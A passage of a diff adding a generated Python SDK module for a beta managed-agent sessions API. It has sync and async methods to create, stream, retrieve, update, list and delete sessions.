+ AsyncItemsWithStreamingResponse,
+)
+from .turns import (
+ Turns,
+ AsyncTurns,
+ TurnsWithRawResponse,
+ AsyncTurnsWithRawResponse,
+ TurnsWithStreamingResponse,
+ AsyncTurnsWithStreamingResponse,
+)
+from .events import (
+ Events,
+ AsyncEvents,
+ EventsWithRawResponse,
+ AsyncEventsWithRawResponse,
+ EventsWithStreamingResponse,
+ AsyncEventsWithStreamingResponse,
+)
+from .artifacts import (
+ Artifacts,
+ AsyncArtifacts,
+ ArtifactsWithRawResponse,
+ AsyncArtifactsWithRawResponse,
+ ArtifactsWithStreamingResponse,
+ AsyncArtifactsWithStreamingResponse,
+)
+from ....._types import Body, Omit, Query, Headers, NotGiven, SequenceNotStr, omit, not_given
+from ....._utils import path_template, required_args, maybe_transform, async_maybe_transform
+from ....._compat import cached_property
+from ....._resource import SyncAPIResource, AsyncAPIResource
+from ....._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
+from ....._streaming import Stream, AsyncStream
+from .....pagination import SyncCursorPage, AsyncCursorPage
+from ....._base_client import AsyncPaginator, make_request_options
+from .subagents.subagents import (
+ Subagents,
+ AsyncSubagents,
+ SubagentsWithRawResponse,
+ AsyncSubagentsWithRawResponse,
+ SubagentsWithStreamingResponse,
+ AsyncSubagentsWithStreamingResponse,
+)
+from .....types.beta.agents import session_list_params, session_create_params, session_update_params
+from .....lib.streaming.agents import ToolHandler, AsyncToolHandler, AgentSessionStream, AsyncAgentSessionStream
+from .....types.beta.agent_session import AgentSession
+from .....types.beta.environment_param import EnvironmentParam
+from .....types.beta.agent_session_event import AgentSessionEvent
+from .....types.beta.agent_session_deleted import AgentSessionDeleted
+from .....types.beta.agent_session_input_message_param import AgentSessionInputMessageParam
+
+__all__ = ["Sessions", "AsyncSessions"]
+
+
+class Sessions(SyncAPIResource):
+ def stream(
+ self,
+ session_id: str,
+ *,
+ input: str | Iterable[AgentSessionInputMessageParam],
+ tool_handlers: Mapping[str, ToolHandler] | None = None,
+ idempotency_key: str | Omit = omit,
+ extra_headers: Headers | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AgentSessionStream:
+ """Stream one turn of an idle session, subscribing before submitting input.
+
+ Use as a context manager. Only one caller may submit input to the session
+ while this helper runs. Optional tool handlers receive an arguments dict;
+ their results are submitted automatically. See AgentSessionStream for details.
+ """
+ return AgentSessionStream(
+ self,
+ session_id,
+ input=input,
+ tool_handlers=tool_handlers,
+ idempotency_key=idempotency_key,
+ extra_headers=extra_headers,
+ timeout=timeout,
+ )
+
+ @cached_property
+ def subagents(self) -> Subagents:
+ return Subagents(self._client)
+
+ @cached_property
+ def artifacts(self) -> Artifacts:
+ return Artifacts(self._client)
+
+ @cached_property
+ def items(self) -> Items:
+ return Items(self._client)
+
+ @cached_property
+ def events(self) -> Events:
+ return Events(self._client)
+
+ @cached_property
+ def turns(self) -> Turns:
+ return Turns(self._client)
+
+ @cached_property
+ def with_raw_response(self) -> SessionsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return SessionsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> SessionsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return SessionsWithStreamingResponse(self)
+
+ @overload
+ def create(
+ self,
+ *,
+ environment: EnvironmentParam,
+ agent: session_create_params.Agent | Omit = omit,
+ agent_id: str | Omit = omit,
+ input: Union[str, Iterable[AgentSessionInputMessageParam], None] | Omit = omit,
+ metadata: Optional[Dict[str, str]] | Omit = omit,
+ stream: Literal[False] | Omit = omit,
+ vault_ids: Optional[SequenceNotStr[str]] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AgentSession:
+ """
+ Creates a managed agent session, optionally submits initial input, and returns
+ the session or streams its events when stream is true. See
+ [running sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions).
+
+ Args:
+ environment: An inline execution environment or a reference to an environment template.
+
+ agent: Agent configuration. With `agent_id`, supplied fields override the saved agent
+ for this session. Without `agent_id`, `model` is required.
+
+ agent_id: The ID of a saved reusable agent. Omit `agent` to use its configuration
+ unchanged.
+
+ input: Initial input submitted when creating a session.
+
+ metadata: Up to 16 string key-value pairs, with keys up to 64 and values up to 512
+ characters. Omission or null defaults to an empty map.
+
+ stream: Whether to stream session events as server-sent events. Defaults to `false`.
+
+ vault_ids: The IDs of vaults made available to the session.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ ...
+
+ @overload
+ def create(
+ self,
+ *,
+ environment: EnvironmentParam,
+ stream: Literal[True],
+ agent: session_create_params.Agent | Omit = omit,
+ agent_id: str | Omit = omit,
+ input: Union[str, Iterable[AgentSessionInputMessageParam], None] | Omit = omit,
+ metadata: Optional[Dict[str, str]] | Omit = omit,
+ vault_ids: Optional[SequenceNotStr[str]] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Stream[AgentSessionEvent]:
+ """
+ Creates a managed agent session, optionally submits initial input, and returns
+ the session or streams its events when stream is true. See
+ [running sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions).
+
+ Args:
+ environment: An inline execution environment or a reference to an environment template.
+
+ stream: Whether to stream session events as server-sent events. Defaults to `false`.
+
+ agent: Agent configuration. With `agent_id`, supplied fields override the saved agent
+ for this session. Without `agent_id`, `model` is required.
+
+ agent_id: The ID of a saved reusable agent. Omit `agent` to use its configuration
+ unchanged.
+
+ input: Initial input submitted when creating a session.
+
+ metadata: Up to 16 string key-value pairs, with keys up to 64 and values up to 512
+ characters. Omission or null defaults to an empty map.
+
+ vault_ids: The IDs of vaults made available to the session.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ ...
+
+ @overload
+ def create(
+ self,
+ *,
+ environment: EnvironmentParam,
+ stream: bool,
+ agent: session_create_params.Agent | Omit = omit,
+ agent_id: str | Omit = omit,
+ input: Union[str, Iterable[AgentSessionInputMessageParam], None] | Omit = omit,
+ metadata: Optional[Dict[str, str]] | Omit = omit,
+ vault_ids: Optional[SequenceNotStr[str]] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AgentSession | Stream[AgentSessionEvent]:
+ """
+ Creates a managed agent session, optionally submits initial input, and returns
+ the session or streams its events when stream is true. See
+ [running sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions).
+
+ Args:
+ environment: An inline execution environment or a reference to an environment template.
+
+ stream: Whether to stream session events as server-sent events. Defaults to `false`.
+
+ agent: Agent configuration. With `agent_id`, supplied fields override the saved agent
+ for this session. Without `agent_id`, `model` is required.
+
+ agent_id: The ID of a saved reusable agent. Omit `agent` to use its configuration
+ unchanged.
+
+ input: Initial input submitted when creating a session.
+
+ metadata: Up to 16 string key-value pairs, with keys up to 64 and values up to 512
+ characters. Omission or null defaults to an empty map.
+
+ vault_ids: The IDs of vaults made available to the session.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ ...
+
+ @required_args(["environment"], ["environment", "stream"])
+ def create(
+ self,
+ *,
+ environment: EnvironmentParam,
+ agent: session_create_params.Agent | Omit = omit,
+ agent_id: str | Omit = omit,
+ input: Union[str, Iterable[AgentSessionInputMessageParam], None] | Omit = omit,
+ metadata: Optional[Dict[str, str]] | Omit = omit,
+ stream: Literal[False] | Literal[True] | Omit = omit,
+ vault_ids: Optional[SequenceNotStr[str]] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AgentSession | Stream[AgentSessionEvent]:
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._post(
+ "/agents/sessions",
+ body=maybe_transform(
+ {
+ "environment": environment,
+ "agent": agent,
+ "agent_id": agent_id,
+ "input": input,
+ "metadata": metadata,
+ "stream": stream,
+ "vault_ids": vault_ids,
+ },
+ session_create_params.SessionCreateParamsStreaming
+ if stream
+ else session_create_params.SessionCreateParamsNonStreaming,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=AgentSession,
+ stream=stream or False,
+ stream_cls=Stream[AgentSessionEvent],
+ )
+
+ def retrieve(
+ self,
+ session_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AgentSession:
+ """Retrieves the current state of a managed agent session.
+
+ See
+ [managing sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get(
+ path_template("/agents/sessions/{session_id}", session_id=session_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=AgentSession,
+ )
+
+ def update(
+ self,
+ session_id: str,
+ *,
+ metadata: Optional[Dict[str, str]] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AgentSession:
+ """Updates session metadata.
+
+ Omitted fields are unchanged. See
+ [managing sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage).
+
+ Args:
+ metadata: Replaces all metadata. Omit to leave unchanged, or pass null or {} to clear it.
+ Up to 16 string key-value pairs, with keys up to 64 and values up to 512
+ characters.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._post(
+ path_template("/agents/sessions/{session_id}", session_id=session_id),
+ body=maybe_transform({"metadata": metadata}, session_update_params.SessionUpdateParams),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=AgentSession,
+ )
+
+ def list(
+ self,
+ *,
+ after: str | Omit = omit,
+ agent_id: str | Omit = omit,
+ limit: Optional[int] | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SyncCursorPage[AgentSession]:
+ """
+ Lists managed agent sessions using ID-based pagination and the requested sort
+ order. See
+ [managing sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage).
+
+ Args:
+ after: Return resources after this resource ID in the selected order.
+
+ agent_id: Only return sessions whose root agent has this ID. Omit to return sessions for
+ all agents.
+
+ limit: The maximum number of resources to return.
+
+ order: Sort order by the `created_at` timestamp. Use `asc` for ascending order or
+ `desc` for descending order. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ "/agents/sessions",
+ page=SyncCursorPage[AgentSession],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "agent_id": agent_id,
+ "limit": limit,
+ "order": order,
+ },
+ session_list_params.SessionListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=AgentSession,
+ )
+
+ def delete(
+ self,
+ session_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AgentSessionDeleted:
+ """
+ Removes a managed agent session from the public API and returns a deletion
+ confirmation. Physical cleanup may continue asynchronously. See
+ [managing sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._delete(
+ path_template("/agents/sessions/{session_id}", session_id=session_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=AgentSessionDeleted,
+ )
+
+
+class AsyncSessions(AsyncAPIResource):
+ def stream(
+ self,
+ session_id: str,
+ *,
+ input: str | Iterable[AgentSessionInputMessageParam],
+ tool_handlers: Mapping[str, AsyncToolHandler] | None = None,
+ idempotency_key: str | Omit = omit,
+ extra_headers: Headers | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AsyncAgentSessionStream:
+ """Stream one turn of an idle session, subscribing before submitting input.
+
+ Use as an async context manager. Only one caller may submit input to the session
+ while this helper runs. Optional tool handlers receive an arguments dict;
+ their results are submitted automatically. See AsyncAgentSessionStream for details.
+ """
+ return AsyncAgentSessionStream(
+ self,
+ session_id,
+ input=input,
+ tool_handlers=tool_handlers,
+ idempotency_key=idempotency_key,
+ extra_headers=extra_headers,
+ timeout=timeout,
+ )
+
+ @cached_property
+ def subagents(self) -> AsyncSubagents:
+ return AsyncSubagents(self._client)
+
+ @cached_property
+ def artifacts(self) -> AsyncArtifacts:
+ return AsyncArtifacts(self._client)
+
+ @cached_property
+ def items(self) -> AsyncItems:
+ return AsyncItems(self._client)
+
+ @cached_property
+ def events(self) -> AsyncEvents:
+ return AsyncEvents(self._client)
+
+ @cached_property
+ def turns(self) -> AsyncTurns:
+ return AsyncTurns(self._client)
+
+ @cached_property
+ def with_raw_response(self) -> AsyncSessionsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AsyncSessionsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AsyncSessionsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AsyncSessionsWithStreamingResponse(self)
+
+ @overload
+ async def create(
+ self,
+ *,
+ environment: EnvironmentParam,
+ agent: session_create_params.Agent | Omit = omit,
+ agent_id: str | Omit = omit,
+ input: Union[str, Iterable[AgentSessionInputMessageParam], None] | Omit = omit,
+ metadata: Optional[Dict[str, str]] | Omit = omit,
+ stream: Literal[False] | Omit = omit,
+ vault_ids: Optional[SequenceNotStr[str]] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AgentSession:
+ """
+ Creates a managed agent session, optionally submits initial input, and returns
+ the session or streams its events when stream is true. See
+ [running sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions).
+
+ Args:
+ environment: An inline execution environment or a reference to an environment template.
+
+ agent: Agent configuration. With `agent_id`, supplied fields override the saved agent
+ for this session. Without `agent_id`, `model` is required.
+
+ agent_id: The ID of a saved reusable agent. Omit `agent` to use its configuration
+ unchanged.
+
+ input: Initial input submitted when creating a session.
+
+ metadata: Up to 16 string key-value pairs, with keys up to 64 and values up to 512
+ characters. Omission or null defaults to an empty map.
+
+ stream: Whether to stream session events as server-sent events. Defaults to `false`.
+
+ vault_ids: The IDs of vaults made available to the session.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ ...
+
+ @overload
+ async def create(
+ self,
+ *,
+ environment: EnvironmentParam,
+ stream: Literal[True],
+ agent: session_create_params.Agent | Omit = omit,
+ agent_id: str | Omit = omit,
+ input: Union[str, Iterable[AgentSessionInputMessageParam], None] | Omit = omit,
+ metadata: Optional[Dict[str, str]] | Omit = omit,
+ vault_ids: Optional[SequenceNotStr[str]] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AsyncStream[AgentSessionEvent]:
+ """
+ Creates a managed agent session, optionally submits initial input, and returns
+ the session or streams its events when stream is true. See
+ [running sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions).
+
+ Args:
+ environment: An inline execution environment or a reference to an environment template.
+
+ stream: Whether to stream session events as server-sent events. Defaults to `false`.
+
+ agent: Agent configuration. With `agent_id`, supplied fields override the saved agent
+ for this session. Without `agent_id`, `model` is required.
+
+ agent_id: The ID of a saved reusable agent. Omit `agent` to use its configuration
+ unchanged.
+
+ input: Initial input submitted when creating a session.
+
+ metadata: Up to 16 string key-value pairs, with keys up to 64 and values up to 512
+ characters. Omission or null defaults to an empty map.
+
+ vault_ids: The IDs of vaults made available to the session.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ ...
+
+ @overload
+ async def create(
+ self,
+ *,
+ environment: EnvironmentParam,
+ stream: bool,
+ agent: session_create_params.Agent | Omit = omit,
+ agent_id: str | Omit = omit,
+ input: Union[str, Iterable[AgentSessionInputMessageParam], None] | Omit = omit,
+ metadata: Optional[Dict[str, str]] | Omit = omit,
+ vault_ids: Optional[SequenceNotStr[str]] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AgentSession | AsyncStream[AgentSessionEvent]:
+ """
+ Creates a managed agent session, optionally submits initial input, and returns
+ the session or streams its events when stream is true. See
+ [running sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions).
+
+ Args:
+ environment: An inline execution environment or a reference to an environment template.
+
+ stream: Whether to stream session events as server-sent events. Defaults to `false`.
+
+ agent: Agent configuration. With `agent_id`, supplied fields override the saved agent
+ for this session. Without `agent_id`, `model` is required.
+
+ agent_id: The ID of a saved reusable agent. Omit `agent` to use its configuration
+ unchanged.
+
+ input: Initial input submitted when creating a session.
+
+ metadata: Up to 16 string key-value pairs, with keys up to 64 and values up to 512
+ characters. Omission or null defaults to an empty map.
+
+ vault_ids: The IDs of vaults made available to the session.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ ...
+
+ @required_args(["environment"], ["environment", "stream"])
+ async def create(
+ self,
+ *,
+ environment: EnvironmentParam,
+ agent: session_create_params.Agent | Omit = omit,
+ agent_id: str | Omit = omit,
+ input: Union[str, Iterable[AgentSessionInputMessageParam], None] | Omit = omit,
+ metadata: Optional[Dict[str, str]] | Omit = omit,
+ stream: Literal[False] | Literal[True] | Omit = omit,
+ vault_ids: Optional[SequenceNotStr[str]] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AgentSession | AsyncStream[AgentSessionEvent]:
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._post(
+ "/agents/sessions",
+ body=await async_maybe_transform(
+ {
+ "environment": environment,
+ "agent": agent,
+ "agent_id": agent_id,
+ "input": input,
+ "metadata": metadata,
+ "stream": stream,
+ "vault_ids": vault_ids,
+ },
+ session_create_params.SessionCreateParamsStreaming
+ if stream
+ else session_create_params.SessionCreateParamsNonStreaming,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=AgentSession,
+ stream=stream or False,
+ stream_cls=AsyncStream[AgentSessionEvent],
+ )
+
+ async def retrieve(
+ self,
+ session_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AgentSession:
+ """Retrieves the current state of a managed agent session.
+
+ See
+ [managing sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._get(
+ path_template("/agents/sessions/{session_id}", session_id=session_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=AgentSession,
+ )
+
+ async def update(
+ self,
+ session_id: str,
+ *,
+ metadata: Optional[Dict[str, str]] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AgentSession:
+ """Updates session metadata.
+
+ Omitted fields are unchanged. See
+ [managing sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage).
+
+ Args:
+ metadata: Replaces all metadata. Omit to leave unchanged, or pass null or {} to clear it.
+ Up to 16 string key-value pairs, with keys up to 64 and values up to 512
+ characters.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._post(
+ path_template("/agents/sessions/{session_id}", session_id=session_id),
+ body=await async_maybe_transform({"metadata": metadata}, session_update_params.SessionUpdateParams),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=AgentSession,
+ )
+
+ def list(
+ self,
+ *,
+ after: str | Omit = omit,
+ agent_id: str | Omit = omit,
+ limit: Optional[int] | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AsyncPaginator[AgentSession, AsyncCursorPage[AgentSession]]:
+ """
+ Lists managed agent sessions using ID-based pagination and the requested sort
+ order. See
+ [managing sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage).
+
+ Args:
+ after: Return resources after this resource ID in the selected order.
+
+ agent_id: Only return sessions whose root agent has this ID. Omit to return sessions for
+ all agents.
+
+ limit: The maximum number of resources to return.
+
+ order: Sort order by the `created_at` timestamp. Use `asc` for ascending order or
+ `desc` for descending order. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ "/agents/sessions",
+ page=AsyncCursorPage[AgentSession],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "agent_id": agent_id,
+ "limit": limit,
+ "order": order,
+ },
+ session_list_params.SessionListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=AgentSession,
+ )
+
+ async def delete(
+ self,
+ session_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AgentSessionDeleted:
+ """
+ Removes a managed agent session from the public API and returns a deletion
+ confirmation. Physical cleanup may continue asynchronously. See
+ [managing sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._delete(
+ path_template("/agents/sessions/{session_id}", session_id=session_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=AgentSessionDeleted,
+ )
+
+
+class SessionsWithRawResponse:
+ def __init__(self, sessions: Sessions) -> None:
+ self._sessions = sessions
+
+ self.create = _legacy_response.to_raw_response_wrapper(
+ sessions.create,
+ )
+ self.retrieve = _legacy_response.to_raw_response_wrapper(
+ sessions.retrieve,
+ )
+ self.update = _legacy_response.to_raw_response_wrapper(
+ sessions.update,
+ )
+ self.list = _legacy_response.to_raw_response_wrapper(
+ sessions.list,
+ )
+ self.delete = _legacy_response.to_raw_response_wrapper(
+ sessions.delete,
+ )
+
+ @cached_property
+ def subagents(self) -> SubagentsWithRawResponse:
+ return SubagentsWithRawResponse(self._sessions.subagents)
+
+ @cached_property
+ def artifacts(self) -> ArtifactsWithRawResponse:
+ return ArtifactsWithRawResponse(self._sessions.artifacts)
+
+ @cached_property
+ def items(self) -> ItemsWithRawResponse:
